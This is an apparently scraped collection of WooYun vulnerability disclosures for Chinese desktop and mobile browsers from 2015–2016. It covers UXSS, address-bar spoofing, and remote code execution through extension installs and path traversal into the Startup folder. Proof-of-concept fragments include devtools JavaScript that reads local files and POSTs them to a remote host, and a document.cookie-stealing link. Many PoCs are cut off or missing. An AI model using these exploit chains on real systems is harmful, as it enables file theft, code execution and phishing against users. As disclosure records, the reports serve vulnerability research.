乌云漏洞平台 - 浏览器安全漏洞案例编纂

缺陷编号:wooyun-2016-0177697 漏洞标题:360安全浏览器8.1.1.131 UXSS可读取任意网站信息 相关厂商:奇虎360 漏洞作者: blast 提交时间:2016-02-22 17:03 修复时间:2016-05-23 19:20 公开时间:2016-05-23 19:20 漏洞类型:用户敏感数据泄漏


漏洞说明
测试环境: 360:**.**.**.** Windows 10, IE11 使用

固定在兼容模式即可触发,如果没有触发,请手动切换到兼容模式(IE) 测试中的url http://z.mytest:81/是我host配来测试用的,复现时自己本地搭建一下环境吧~
CLICK ME

漏洞证明

缺陷编号:wooyun-2016-0186856 漏洞标题:搜狗浏览器跨域脚本漏洞 相关厂商:搜狗 漏洞作者: Lyleaks 提交时间:2016-03-21 13:01 修复时间:2016-06-21 22:50 公开时间:2016-06-21 22:50 漏洞类型:设计错误/逻辑缺陷


漏洞说明
搜狗浏览器某接口可跨域执行js代码,读取本地文件,读取历史记录等。 搜狗浏览器的
SogouWebView
通过
addJavascriptInterface
添加了两个和js交互的接口,
sogoumse_interface

SogouMobileUtils
。通过这两个接口可以实现跨域执行js代码,读取本地文件,读取历史记录,自动下载文件等。 sogoumse_interface接口中的createTab方法可以用来创建新标签页。 createTab方法接受3个参数,
extName

createProperties
,和
callbackindex
,如下可在新标签页打开乌云。
sogoumse_interface.createTab("ext","{\"url\":\"http://**.**.**.**\",\"active\":true}","");
excuteScript方法可在指定tabid的标签页执行js代码。 excuteScript方法接受4个参数如图: 将arg8转成HashMap,取出code和file的值,读取file的内容,拼接code和file的内容。 拼接字符串,然后调用SogouWebView的loadUrl方法执行该js代码。 可以看到
excuteScriptInClosure
的前两个参数是字符串,第3个参数是js代码。通过第3个参数就可以在指定标签页执行js代码。 第2个参数就是前面的code加上file的内容,因为它会在指定的标签页执行excuteScriptInClosure这个函数,所以只要定义好这个函数,就可以读取本地文件的内容。 从
createTab
方法中知道,
tabid
初始值为-1,每新建一个标签页,tabid的值会加1。
漏洞证明
如下POC可在**.**.**.**执行js代码,并且读取浏览器私有目录下的cookie文件。

SogouMobileUtils接口的downloadFileWithUrlNoDialog方法和getHistorysForFeedback方法可以用来自动下载文件和读取历史记录。 downloadFileWithUrlNoDialog方法接受一个字符串参数作为下载地址。 getHistorysForFeedback方法接受一个整型参数作为获取历史记录的条数。 将url和时间戳用AES加密再base64后返回,密钥为##sogoumse2015##。 解密后的内容



缺陷编号:wooyun-2016-0187345 漏洞标题:傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息 相关厂商:傲游 漏洞作者: Fremy 提交时间:2016-03-22 18:53 修复时间:2016-06-20 19:10 公开时间:2016-06-20 19:10 漏洞类型:设计错误/逻辑缺陷


漏洞说明
傲游浏览器两处漏洞组合可以把JS 代码注入到file 域,获取用户敏感信息.. 第一处漏洞,浏览器接口没有合理判断可以调用的域,可以利用这个接口下载任意文件 代码路径:com\mx\jsobject\JsObjMxBrowser.class
@JavascriptInterface public void installWebApp(String paramString) { String str = t.a(paramString); p.a(paramString, "/sdcard/webapp/" + str, null); u.b("/sdcard/webapp/" + str); d.b().a(); Toast.makeText(this.mContext, "webapp installed", 1).show(); }
接口将会从指定远程URL 中下载ZIP 解压包然后把数据释放到SD 卡中的webapp 中,如果没有插入SD 卡,那就会把文件释放到设备储存中 Download PoC :
function install() { mmbrowser.installWebApp('http://**.**.**.**/test.zip'); }; install();
使用效果 1.运行页面 2.webapp 文件夹内的数据 第二处漏洞,使用浏览器的intent 协议让窗口打开下载好的文件 代码路径:com\mx\browser\MxBrowserActivity.class
if ((paramString.startsWith("intent:")) || (paramString.startsWith("#Intent;"))) { paramString = com.mx.browser.f.o.a(paramString); if (paramString == null) { break label924; } try { startActivity(paramString); return true; } catch (ActivityNotFoundException paramString) { for (;;) { paramString.printStackTrace(); } } } ... public static Intent a(String paramString) { int k = 0; int j = 1; Intent localIntent = null; int i; if (paramString.startsWith("intent:")) { i = 1; } for (;;) { if (j != 0) {} try { localIntent = Intent.parseUri(paramString, i); return localIntent; } catch (URISyntaxException paramString) { paramString.printStackTrace(); } i = k; if (!paramString.startsWith("#Intent;")) { j = 0; i = k; } } return null; }
测试intent PoC :

测试intent PoC 执行效果 未执行intent PoC 之前: 执行intent PoC 之后: 于是测试一下打开刚才用installapp 接口下载到本地的文件,顺利执行:
漏洞完整的利用过程如下:
第一步,构造好exploit.html ,让exploit.html 去读那些感兴趣的文件(为了方便测试,就读取文件自身的数据):
test
然后用ZIP 把exploit.html 打包 接下来写payload.html ,这部分主要是让浏览器下载exploit.html 到本地然后执行

测试URL:http://**.**.**.**/Maxthon_Android_Browser_InjectJSToFile.html 漏洞证明: 浏览器版本: 因为对android 的目录不太熟悉,所以测试都是在BlueStacks 下测试的.真实的漏洞在手机上测试也存在问题,但是目录没有填对所以没有正确执行.

wooyun-2015-093214

缺陷编号:wooyun-2015-093214 漏洞标题:UC浏览器某处设计缺陷导致跨域脚本漏洞可跨任何域 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-01-21 18:08 修复时间:2015-04-21 18:10 公开时间:2015-04-21 18:10 漏洞类型:设计错误/逻辑缺陷


漏洞说明
UC浏览器设计上存在一个安全缺陷,导致可以突破浏览器同源策略,跨域执行任意脚本。 UC浏览器出错页面对失败网址没有过滤,导致XSS。 测试的时候发现,UC浏览器会把javascript:xss_code替换成javascript:void(0),把
点击Test it! 在www.wooyun.org执行xss代码 测试版本

wooyun-2015-0105578

缺陷编号:wooyun-2015-0105578 漏洞标题:UC浏览器跨域脚本漏洞可获取其他网站数据(含过程分析) 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-04-03 14:08 修复时间:2015-07-02 16:08 公开时间:2015-07-02 16:08 漏洞类型:设计错误/逻辑缺陷


漏洞说明
更新了UC浏览器,发现 wooyun-2015-093214 没修好 经过上次提交的漏洞之后,UC浏览器在当前域名打开不同域名的窗口时,会进行拦截。 比如在utf7.ml打开www.wooyun.org时 即使允许弹出,也不能跳转到
ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://www.example.com/;IP=1;IPNum=1; ;FailReason=1;ErrorCode=1;
但是如果域名相同,弹出的窗口不会被拦截,并且可以跳转到错误页面。 猜测只是对打开的域名进行判断,所以尝试重定向到www.wooyun.org来绕过限制。
漏洞证明
构造如下POC
Test it!
uc2.php的源码为
'); ?>
成功跳转到错误页面

wooyun-2015-0125244

缺陷编号:WooYun-2015-0125244 漏洞标题:UC浏览器跨域脚本漏洞 相关厂商:UC Mobile 漏洞作者:Lyleaks 提交时间:2015-07-07 22:16 公开时间:2015-10-07 13:46 漏洞类型:设计错误/逻辑缺陷


漏洞说明
之前在wooyun-2015-0105578中,在当前域名打开不同域名的窗口时,UC浏览器会进行拦截,不过在最新版本中已经没有这个限制了。在最新版中,UC浏览器会对失败网址进行URL编码。 跳转到出错页面的URL为
ext:lp:lp_netErrorInfo:#_NETWORK_FAIL_INFO_#;Url=http://**.**.**.**/;IP=1;IPNum=1; ;FailReason=1;ErrorCode=1;
还有其他的参数可以控制,比如IP。IP的值默认会进行URL编码,不过浏览器不会对#后面的字符进行编码,同样也没对特殊字符进行过滤。测试发现,UC浏览器会把存在属性的标签替换为空,比如,不过script就够用了。
漏洞证明
构造如下POC
Test it!
点击Test it!在**.**.**.**执行
alert(document.domain)

wooyun-2015-0145437

缺陷编号:wooyun-2015-0145437 漏洞标题:UC浏览器跨域脚本漏洞 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-10-09 12:38 修复时间:2016-01-11 15:32 公开时间:2016-01-11 15:32 漏洞类型:设计错误/逻辑缺陷


漏洞说明
买了一个CloudEye,然后就没WB进zone了。。。 之前发的一个洞 wooyun-2015-0125244 ,新版又只是把非同域不能新建窗口的限制给加上了,依然可以绕过。 只要先打开一个同域的窗口,然后在replace就行了,POC如下:

Test it!


漏洞证明

wooyun-2016-0188448

缺陷编号:wooyun-2016-0188448 漏洞标题:uc浏览器改版本后处理不恰当导致跨域脚本漏洞 相关厂商:UC Mobile 漏洞作者: Xser 提交时间:2016-03-29 10:38 修复时间:2016-06-29 15:40 公开时间:2016-06-29 15:40 漏洞类型:设计错误/逻辑缺陷


漏洞说明
和前辈的漏洞 wooyun-2010-0125244对比了下错误页面 发现新版把URL后错误的字符全删了可是ip却被解析为#导致前辈说的可以把poc解码导致漏洞产生 图如下
漏洞证明
直接用前辈的poc即可 访问 http://utf7.ml/t/uc3.html 点击 Test it!

360 安全浏览器远程命令执行漏洞

缺陷编号:wooyun-2016-0170984 漏洞标题:360 安全浏览器远程命令执行漏洞(访问任意网站即可植入恶意软件) 相关厂商:奇虎360 漏洞作者: 唐朝实验室 提交时间:2016-01-19 09:29 修复时间:2016-04-11 16:08 公开时间:2016-04-11 16:08 漏洞类型:远程代码执行


漏洞说明
测试环境为 Windows 7 + 360 安全浏览器,最新版本,如下: 360 安全浏览器支持两种类型的扩展程序:
1. 类似 http://**.**.**.**/ext/xxx.crx 的 chrome 扩展,安装过程需要用户确认; 2. 类似 http://**.**.**.**/xxx/xx.zip 的 360 私有应用,安装过程不需要用户确认;
安装扩展是通过浏览器的私有 api 完成,代码为:
external.AppCmd(se6api.sid, 'SeAppMgr', 'InstallAppItem', '{"downurl":"http://**.**.**.**/se6apps/ExtYouxi/ExtYouxi_**.**.**.**2.zip", "appid":"ExtYouxi", "appname":"游戏", "appver":"**.**.**.**2", "callbackFunc":"oninstalled"}', 'installcallback', function() {});
第二类扩展程序功能较为强大,扩展中常有 exe/dll 等文件。正因为如此,浏览器做了限制,downurl 中的链接只有符合条件才会被下载安装。 具体什么条件?咱们来分析下: 通过浏览器目录文件命令大概判断,扩展相关的功能是放在 seappmgr.dll 文件中,放入 IDA 中,通过搜索 InstallAppItem,downurl,360safe,http:// 等关键字,最后定位到如下代码:
.text:5C004978 ; int _thiscall sub5C004978(LPCWSTR lpszUrl) .text:5C004978 sub5C004978 proc near ; CODE XREF: sub5C030882+15Ep .text:5C004978 push ebx .text:5C004979 push esi .text:5C00497A mov esi, ecx .text:5C00497C mov bl, 1 .text:5C00497E test esi, esi .text:5C004980 jz short loc5C0049D8 .text:5C004982 cmp word ptr
, 0 .text:5C004986 jz short loc5C0049D8 .text:5C004988 mov edx, offset aDl360safecom ; **.**.**.** .text:5C00498D call sub5C0048C7 .text:5C004992 test al, al .text:5C004994 jnz short loc5C0049D8 .text:5C004996 mov edx, offset aDown360safec ; **.**.**.** .text:5C00499B mov ecx, esi ; lpszUrl .text:5C00499D call sub5C0048C7 .text:5C0049A2 test al, al .text:5C0049A4 jnz short loc5C0049D8 .text:5C0049A6 mov edx, offset abaoku360cn ; **.**.**.** .text:5C0049AB mov ecx, esi ; lpszUrl .text:5C0049AD call sub5C0048C7 .text:5C0049B2 test al, al .text:5C0049B4 jnz short loc5C0049D8 .text:5C0049B6 mov edx, offset aSeupdate360sa ; **.**.**.** .text:5C0049BB mov ecx, esi ; lpszUrl .text:5C0049BD call sub5C0048C7 .text:5C0049C2 test al, al .text:5C0049C4 jnz short loc5C0049D8 .text:5C0049C6 mov edx, offset aSeappupdate36 ; **.**.**.** .text:5C0049CB mov ecx, esi ; lpszUrl .text:5C0049CD call sub5C0048C7 .text:5C0049D2 neg al .text:5C0049D4 sbb al, al .text:5C0049D6 and bl, al .text:5C0049D8 .text:5C0049D8 loc5C0049D8: ; CODE XREF: sub5C004978+8j .text:5C0049D8 ; sub5C004978+Ej ... .text:5C0049D8 pop esi .text:5C0049D9 mov al, bl .text:5C0049DB pop ebx .text:5C0049DC retn .text:5C0049DC sub5C004978 endp
看样子应该白名单,
**.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.**
进一步分析从 downurl 中取域名是通过 InternetCrackUrlW 函数完成的,并不是直接通过正则匹配 downurl,怎么能够绕过 InternetCrackUrlW 是个问题?如果能够在这些域名下载找个 URL 跳转那岂不完美,可问题一分钱难道英雄汉。 **.**.**.** 这个域名中间有个通配符,值得关注。反复测试,当把 downurl 写成:

http://x.x.x.x/.**.**.**.**/ExtYouxi_**.**.**.**2.zip

奇迹出现了,
x.x.x.x/.**.**.**.**
符合
**.**.**.**
策略,而宽字节字符

又会被浏览器识别为
/
,完美。 把
ExtYouxi**.**.**.**2.zip
文件下载到自己的服务器上,经过测试,插件静默安装完成。接着就是想办法把
ExtYouxi**.**.**.**2.zip
替换成恶意的文件,来达到命令执行的目的。 反复测试发现,
ExtYouxi_**.**.**.**2.zip
文件中当加入别的
dll
/
exe
等可执行文件则无法完成插件的安装,难道是对压缩包内的文件做了签名校验?但是当把一个文件名中含有
../
的文件放进压缩包内则能够顺利安装插件,并且这个文件顺利的放到了我们让其跳转的目录。你肯定想到我们要做什么事情了。 是的,我们要把一个 exe 文件放到
Windows 的启动目录
内。 插件安装后的目录为:

C:\Users\用户\AppData\Roaming\360se6\apps\bin\se\插件名

我们把文件名为 /../../../../../Microsoft/Windows/Start Menu/Programs/Startup/funny.exe 的文件放进压缩包。通过之前的代码安装该插件,funny.exe 文件完美的放到了下面的文件夹中:

C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

到这里我们的正常流程应该是在某特权域下找一个 xss,然后通过 xss 写入恶意代码来完成攻击,最初我也是这么想的,还找到一个 xss,并且完成了攻击代码的编写(其实超简单)。 但是,万万没想到,当我把 se6api.sid 设置为空,随便在一个域名下执行安装代码都能够安装成功。 简直不敢想像,这可是 360 啊!!!
修复方案: 1. 最简单的是把宽字节的斜线符号 / 过滤掉 2. 特权 api 当然在特权域下才能调用

360安全浏览器远程命令执行漏洞接力赛第四棒

缺陷编号:wooyun-2016-0178241 漏洞标题:360安全浏览器远程命令执行漏洞接力赛第四棒 相关厂商:奇虎360 漏洞作者: 唐朝实验室 提交时间:2016-02-24 12:23 修复时间:2016-05-28 16:30 公开时间:2016-05-28 16:30 漏洞类型:远程代码执行


漏洞说明
这只是对『心伤的胖子』接力的回应。仍旧是技术分享,其他的留给评论。 浏览器版本:8.1.1.131 是的,这是对之前漏洞的 http://**.**.**.**/bugs/wooyun-2010-0170984 绕过,之前漏洞有两个关键点:
1. 利用 / 符号绕过了 360 白名单的限制; 2. 利用 ../ 跳转把恶意文件放置到当前用户的启动目录;
360 在随后的版本中做了修复,所以在最新的 **.**.**.** 版本中漏洞肯定是不存在的。 经过测试,发现 360 修复的方案为: 1. 不允许域名中出现 / 符号,但是还是会允许别的特殊符号; 2. 通过 ../ 无法跳转目录放置恶意程序到指定目录; 具体怎么绕过?下面就是见证奇迹的时刻: 和 / 有异曲同工的符号是 ?,所以我们的插件链接是:
**.**.**.**?.**.**.**.**/poc.zip
会被浏览器识别为:
**.**.**.**/?.**.**.**.**/poc.zip
这样我们绕过第一个条件的限制,成功让浏览器下载我们指定的插件。 虽然新版本中浏览器限制通过 ../ 跳转到指定目录,但是经过测试发现却可以使用 ..// 来跳转到指定目录,是不是很神奇?所以我们 poc.zip 文件中只需要包含文件名为如下的文件即可在安装插件的同时把我们的文件放置到当前用户的启动目录

//..//..//..//..//..//Microsoft//Windows//Start Menu//Programs//Startup//funny.exe

btw:这个地方的逻辑我真是没懂。 这两个关键的点已经解决了,还有一些小的问题困扰着我们 1. 新版本浏览器修复了任意域名下都能够调用 external api 的漏洞 2. 只允许部分 **.**.**.** 的域名才能够调用 external api 也就是我们必须找一个允许调用 external api 的 **.**.**.** 域下的 XSS 漏洞,其实我们有一个:

http://m.cp.**.**.**.**/kaijiang/tdetail/?lotid=220051&issue=

但是 m.cp.**.**.**.** 域并没有调用 external api 的权限,但是 cp.**.**.**.** 域名却有权限,所以我们可以这样: 1. 用 m.cp.**.**.**.** 域下的 XSS 执行 JS 代码,做两件事情:设置 document.domain 为:**.**.**.**,然后创建一个 iframe,加载一个同样设置 document.domain 为 **.**.**.** 的 cp.**.**.**.** 的页面; 2. 然后跨域在 cp.**.**.**.** 域名下执行 JS 代码,通过上面的漏洞达到远程命令执行的效果; 幸运的是我们在 cp.**.**.**.** 域名下找到一个 document.domain 设置为 **.**.**.** 的页面:
http://cp.**.**.**.**/help/hemai.html
所以我们的代码是:

http://m.cp.**.**.**.**/kaijiang/tdetail/?lotid=220051&issue=

poc.js 见测试代码
漏洞修复: 1. 检测 ? 符号; 2. ..// 的逻辑也需要做下处理;

360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等

缺陷编号:wooyun-2015-0128653 漏洞标题:360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等 相关厂商:奇虎360 漏洞作者: blast 提交时间:2015-07-23 15:26 修复时间:2015-10-22 10:08 公开时间:2015-10-22 10:08 漏洞类型:设计错误/逻辑缺陷


漏洞说明
360极速浏览器8.3.0.119 HTTP204/205地址栏处理不当可伪造百度/谷歌等 附赠两个HTTP204,一个百度一个谷歌

可以强制页面运行在ie模式下,示例演示从127.0.0.4/h.htm创建一个窗口,窗口的内容可被h.htm修改。
hello

百度浏览器任意网站伪造漏洞

缺陷编号:wooyun-2016-0176495 漏洞标题:百度浏览器任意网站伪造漏洞 相关厂商:百度 漏洞作者: Liuz5O69 提交时间:2016-02-17 21:44 修复时间:2016-05-22 11:30 公开时间:2016-05-22 11:30 漏洞类型:设计错误/逻辑缺陷


漏洞说明
百度浏览器最新版存在任意网站伪造漏洞,可实施钓鱼攻击。 最近在学习浏览器漏洞,完全使用了blast大神的方法,代码如下:

通过IE模式打开后即可完成欺骗攻击,exp()的触发方式,只要不是直接写在Script标签中,任何IE下能用的XSS执行方式都可。
漏洞证明

魅族手机自带浏览器任意网址伪造

缺陷编号:wooyun-2015-0149313 漏洞标题:魅族手机自带浏览器任意网址伪造 相关厂商:魅族科技 漏洞作者: 路人甲 提交时间:2015-11-11 15:53 修复时间:2016-02-15 12:20 公开时间:2016-02-15 12:20 漏洞类型:设计错误/逻辑缺陷


漏洞说明
POC:


漏洞证明
我在本地搭建了个网站 方便测试 测试结果如下: 点击提交后:

UC浏览器最新版HTTP204伪造网站漏洞

缺陷编号:wooyun-2015-0118225 漏洞标题:UC浏览器最新版HTTP204伪造网站漏洞 相关厂商:UC Mobile 漏洞作者: wutongyu 提交时间:2015-06-04 16:43 修复时间:2015-09-02 17:00 公开时间:2015-09-02 17:00 漏洞类型:设计错误/逻辑缺陷


漏洞说明
uc浏览器任意网站伪造,最新版 uc浏览器对用户提交的href 链接转向没有做很好的界限,导致存在一个http204任意网站伪造。 伪造谷歌代码:
ss
访问的效果: 虽然显示加载中,但是内容已经被替换了: 如果伪造百度,因为成功跳转,需要伪造一个指定无法访问的端口即可,比如8061。代码如下:
ss

漏洞证明
协议也会存在一定影响: 效果如下图 虽然滚动条一直在load,但是页面也成功被替换了。 最新版的

搜狗浏览器最新版任意网址伪造

缺陷编号:wooyun-2015-0117993 漏洞标题:搜狗浏览器最新版任意网址伪造 相关厂商:搜狗 漏洞作者: wutongyu 提交时间:2015-06-04 10:37 修复时间:2015-09-02 10:52 公开时间:2015-09-02 10:52 漏洞类型:设计错误/逻辑缺陷

详细说明: 搜狗浏览器在对提交form表单的时候没有对内容严格审查,直接提取action的值回显在url上。 直接上poc:


漏洞证明
访问:http://wutongyu.info/2.htm 结果如下: 当然,可以做的更逼真一点,设置上document.write()输出,document.title伪造标题。

缺陷编号:wooyun-2016-0176314 漏洞标题:QQ浏览器9本地文件读取&远程命令执行 相关厂商:腾讯 漏洞作者: gainover 提交时间:2016-02-17 08:56 修复时间:2016-05-17 15:10 公开时间:2016-05-17 15:10 漏洞类型:远程代码执行


漏洞说明
新年快乐 QQ浏览器最新版本,版本:9.3.6581.400 1. 老外在一个avast的漏洞(https://**.**.**.**/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_**.**.**.**&sq=package:chromium&type=cs&l=638)里提到了chrome-devtools的一个本地文件读取的漏洞(情报来自@sogili(长短短)) 拿老外的PoC来试试?QQ浏览器打开下面的URL:

chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

这个会加载一个外部的js https://**.**.**.**/screencast_module.js screencast_module.js 代码如下:
var data = ""; DevToolsAPI.streamWrite = function(id, chunk) { document.write("Receiving data for stream " + id + "
"); data += chunk; } DevToolsAPI.sendMessageToEmbedder( "loadNetworkResource",
, function (result) { var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data); } );
可以看到利用 DevToolsAPI,可以向外出容器发送消息,消息类型为 loadNetworkResource,通过这个,可以读取本地文件内容。如下图所示: 不仅仅是读文件内容,利用这个,还可以读取目录下的文件列表,像这样
var data = ""; DevToolsAPI.streamWrite = function(id, chunk) { document.write("Receiving data for stream " + id + "
"); data += chunk; } DevToolsAPI.sendMessageToEmbedder( "loadNetworkResource",
, function (result) { var x=new XMLHttpRequest();x.open("POST","https://**.**.**.**",true);x.send(data); } );
如下图所示: 因此,只要让QQ浏览器打开这个页面,我们就可以遍历本地文件内容,并读取发送至远程服务器上。 2. 如何让QQ浏览器打开
chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true
这个地址呢? 常规的location.href,window.open应该是都不行的,会被安全限制。比如:提示Not allowed to load local resource,或打开页面是空白等措施。 怎么破?这里直接先列出思路。

a. 子域.**.**.**.** XSS -> iframe -> 子域.browser.**.**.**.** (该页面的domain要求为**.**.**.**) b. 调用子域.browser.**.**.**.**里的chrome.management.install API 安装插件“手机助手” c. 插件安装成功后,利用子域.**.**.**.** XSS -> chrome.runtime.sendMessage 向“手机助手”发送消息, --> 手机助手接受消息 打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true

3. 我们来一步一步实现上面的步骤,首先是一个子域的XSS http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-alert.php 4. 找到一个子域.browser.**.**.**.**,因为browser.**.**.**.**及其子域有使用chrome.management.install的权限。 http://event.browser.**.**.**.**/stdl/miyue/index.html 如下图所示: 5. 用子域.**.**.**.**的XSS调用子域.browser.**.**.**.**的chrome.management.install实现插件安装,利用代码如下: qq-xss-install.php

访问下面的地址: http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install.php 如下图所示,手机助手将会被安装。 6. 在手机助手安装完成后,我们就可以使用chrome.runtime.sendMessage来发送消息,
chrome.runtime.sendMessage("llilejmacjghpgeenjonaggofdjobdhb",{cmd:'jump',isNewOpen:true,target:'chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true'});
修改步骤5里的代码,在安装完成的回调里添加以上代码。 qq-xss-install-2.php

访问:http://wiki.dev.4g.**.**.**.**/v2/ZH_CN/ios/index.html#!/%5c/**.**.**.**/test/all/qq-xss-install-2.php 等待插件被安装完成后,就会打开 chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://**.**.**.**/&remoteFrontend=true 如下图所示: 7. 为啥向“手机助手”发送消息可以打开指定的页面? 查看手机助手扩展里的message.js,里面存在如下代码:

chrome.runtime.onMessageExternal.addListener(function(e,t,o){var a=t.tab.id;"jump"===e.cmd&&(e.isNewOpen?chrome.tabs.create({url:e.target}):chrome.tabs.update(a,{url:e.target}),o({error:0}))})

在扩展里定义了onMessageExternal的listner,这使得插件可以接受外部扩展的消息。所以我们可以构造恶意的消息,发送给该扩展,从而打开我们指定的页面。 ---------------------------------------- *** 分割线,从文件读取到命令执行 *** ---------------------------------------- 1. 首先还是列一下思路

a. 访问http://**.**.**.**/test/all/cache.php,让浏览器生成一个恶意的缓存文件 b. 通过上面的文件读取,读取c:/users/下的用户名列表,找到当前用户的用户名 c. 得到浏览器的缓存目录C:\Users\用户名\AppData\Local\Tencent\QQBrowser\User Data\Default\Cache d. 通过上面的文件读取,得到缓存目录下的文件列表,得到浏览器刚生成的缓存文件名称 e. 通过 location.href='vbefile:/../../../../../../../../../../Users/用户名/AppData/Local/Tencent/QQBrowser/User Data/Default/Cache/缓存文件名" //E:jscript //B "' 来执行恶意缓存文件

2. 首先是获得c:/users/下的用户列表
function getUsers(){ DevToolsAPI.sendMessageToEmbedder( "loadNetworkResource",
, function (result) { var users=data.match(/ 请等候10秒。

115浏览器(PC端)可被中间人攻击导致代码执行

缺陷编号:wooyun-2016-0175684 漏洞标题:115浏览器(PC端)可被中间人攻击导致代码执行 相关厂商:115网盘 漏洞作者: MITM 提交时间:2016-02-14 10:02 修复时间:2016-05-14 10:10 公开时间:2016-05-14 10:10 漏洞类型:设计错误/逻辑缺陷


漏洞说明
115浏览器(PC端)可被中间人攻击导致代码执行。版本:6.0.2.23 这个漏洞是wooyun-2015-0161989的后续。在**.**.**.**版本中downloadInterface.OpenURL已经不能被**.**.**.**以外的非特权域网页调用了,但是http://**.**.**.**下的页面仍然可以调用这个API来下载任意文件,并且可以使用
downloadInterface.RunDownloadItem
运行它。由于**.**.**.**没有强制HTTPS,导致中间人可以将用户的任意明文请求劫持跳转到http://**.**.**.**/,跳转之后再次劫持http://**.**.**.**这个请求,返回http://**.**.**.**/bugs/wooyun-2015-0161989中的利用代码。即可导致执行任意代码。 版本号:
漏洞证明
用Fiddler模拟一下: 1、保存http://**.**.**.**/bugs/wooyun-2015-0161989中的代码到本地C:\rce.html 2、在
Fiddler->AutoResponder
中加入: If request matches "EXACT:http://**.**.**.**/", then respond with "C:\rce.html" 3、打开115网盘,访问http://**.**.**.**/。
修复方法: 给特权域强制HTTPS,或者彻底关闭
downloadInterface.RunDownloadItem
这个高危API。

115浏览器漏洞之邪恶的种子(远程代码执行)

缺陷编号:wooyun-2015-0157485 漏洞标题:115浏览器漏洞之邪恶的种子(远程代码执行) 相关厂商:115网盘 漏洞作者: 隐形人真忙 提交时间:2015-12-01 23:48 修复时间:2015-12-17 14:48 公开时间:2015-12-17 14:48 漏洞类型:远程代码执行


漏洞说明
115浏览器的猥琐命令执行,看到网盘里的种子你还敢下载吗? 115浏览器更新啦!**.**.**.**版本,这个版本修补了之前提到的命令执行。 对于window.browserInterface接口进行了限制,在普通域下无法进行调用,但是可以在chrome域下使用,并且修复了之前的目录跳转漏洞 http://**.**.**.**/bugs/wooyun-2010-0149968。我们来进行一一突破。 ------------------------------------------- 0x00 特权域XSS之邪恶的种子 ------------------------------------------- 在排查特权域的途中,发现了一个有趣的功能:chrome://mini_download_frame提供种子文件的解析下载。 当选择种子的时候,就能看到种子包含的各个文件信息。现在我们测试一下这里的文件名是否经过了有效的过滤,如果没有过滤,就能获得一个特权域的XSS: 使用种子文件编辑器进行编辑,修改其中一个文件名为
------------------------------------ 0x02 赠送的DOS漏洞 ------------------------------------ 在测试中发现,敏感API中如果参数的类型出错会使浏览器崩溃,造成DOS漏洞。 POC如下:
browserInterface.BatchDownload("http://www.qq.com",null,null)

缺陷编号:wooyun-2016-0172731 漏洞标题:2345浏览器6.5最新版存在任意网站xss漏洞 相关厂商:2345网址导航 漏洞作者: 难道是poi 提交时间:2016-01-26 10:42 修复时间:2016-03-10 16:42 公开时间:2016-03-10 16:42 漏洞类型:XSS 跨站脚本攻击


漏洞说明

/"ed2k://%7Cfile%7Ctest%7C'+alert(document.cookie)+'%7Ctest//"

只要返回页中包含JS脚本,将会被误执行。 也可以针对2345浏览器用户XSS 测试发现只针对2345浏览器XP下的用户。 可以在任意论坛上传此类超连接实现。 比如这个。 http://bbs.biligame.com/%22ed2k://%7Cfile%7Ctest%7C'+alert(document.cookie)+'%7Ctest//%22 还有这个。 www.wooyun.org/"ed2k://%7Cfile%7Ctest%7C'+alert(document.cookie)+'%7Ctest//" 只要有人肯点进,不怕不存在XP下用2345浏览器 的用户

缺陷编号:wooyun-2015-0154594 漏洞标题:UC浏览器某缺陷可能导致用户隐私泄露 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-11-20 17:12 修复时间:2015-12-17 14:48 公开时间:2015-12-17 14:48 漏洞类型:设计错误/逻辑缺陷


漏洞说明
UC浏览器处理TLS证书不当可被中间人攻击 测试地址:http://**.**.**.**/iframe.html UC浏览器某缺陷可能导致用户隐私泄露 之前测试wooyun-2016-0154403这个洞的时候,发现了UC浏览器
一个和帐号登陆有关的协议:UCCloud
在使用第三方帐号比如QQ登陆UC浏览器时,登陆完成后会返回一个
authorize code
,UC验证该authorize code有效之后会生成一个
ticket
,然后使用
UCCloud协议
来登陆帐号。
UCCloud://ext:cs:userlogin:
后面的内容先
base64 decode
之后在传给
nativeM9Decode
方法解码。 通过hook可以看到解码后的内容为用户名,
uid

ticket
ticket的有效时间很长,至少我测试是过了10多个小时依然有效。所以就可以通过
UCCloud协议
让别人登陆你的帐号来同步数据。 要得到登陆时
base64 encode
的内容也很简单,因为UC浏览器直接在
logcat
输出了,连hook都不用。 或者更简单,用下面的url在电脑登陆就行。

http://**.**.**.**/cgi-bin/xlogin?appid=716027609&pt_3rd_aid=100468196&style=35&s_url=http%3A%2F%2F**.**.**.**&refer_cgi=authorize&which=&response_type=code&client_id=100468196&redirect_uri=http%3A%2F%2F**.**.**.**%2Fcas%2Fthirdparty%2Fauthorize&display=mobile&state=client_id%3D72%26third_party_name%3Dqq%26isbrowser%3D1


漏洞证明
为了更隐蔽可以使用
ext:close_window
在登陆成功后关闭窗口,POC如下:

DEMO


登陆之后会自动同步书签和标签页等内容到云端,查看云标签页就可以看到用户当前正在浏览的网页。

wooyun-2015-0106283

缺陷编号:wooyun-2015-0106283 漏洞标题:UC浏览器某缺陷可能导致手机被植入木马 相关厂商:UC Mobile 漏洞作者: Lyleaks 提交时间:2015-04-07 04:24 修复时间:2015-07-06 16:28 公开时间:2015-07-06 16:28 漏洞类型:设计错误/逻辑缺陷


漏洞说明
